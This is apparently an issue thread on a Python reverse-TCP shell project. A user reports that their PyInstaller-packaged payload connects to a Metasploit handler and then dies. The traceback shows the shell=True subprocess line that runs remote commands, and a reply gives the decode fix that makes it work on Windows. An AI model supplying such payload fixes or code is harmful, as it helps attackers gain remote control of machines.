Python_Reverse_TCP
Python_Reverse_TCP copied to clipboard
Failed to execute script
hello,
i executed the python file with pyinstaller, but when i run the code i get Failed to execute script
.
also when i checked my multi/handle
(msfconsole), i found that i got the connection and it closed .
[*] Meterpreter session 27 opened (192.168.1.4:4444-> MYHOST:50285) at 2020-10-19 23:06:21 +0300
[*] MYHOST - Meterpreter session 27 closed. Reason: Died
Died means that the script closed by it's self or by task manager etc... so what should i do?
i think bc the reverse_tcp coded in old python, but im not sure
i converted the coded to 3.x^, i ran the script in console i got:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
File "subprocess.py", line 854, in __init__
File "subprocess.py", line 1239, in _execute_child
TypeError: bytes args is not allowed on Windows
[12984] Failed to execute script payload
do
proc = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)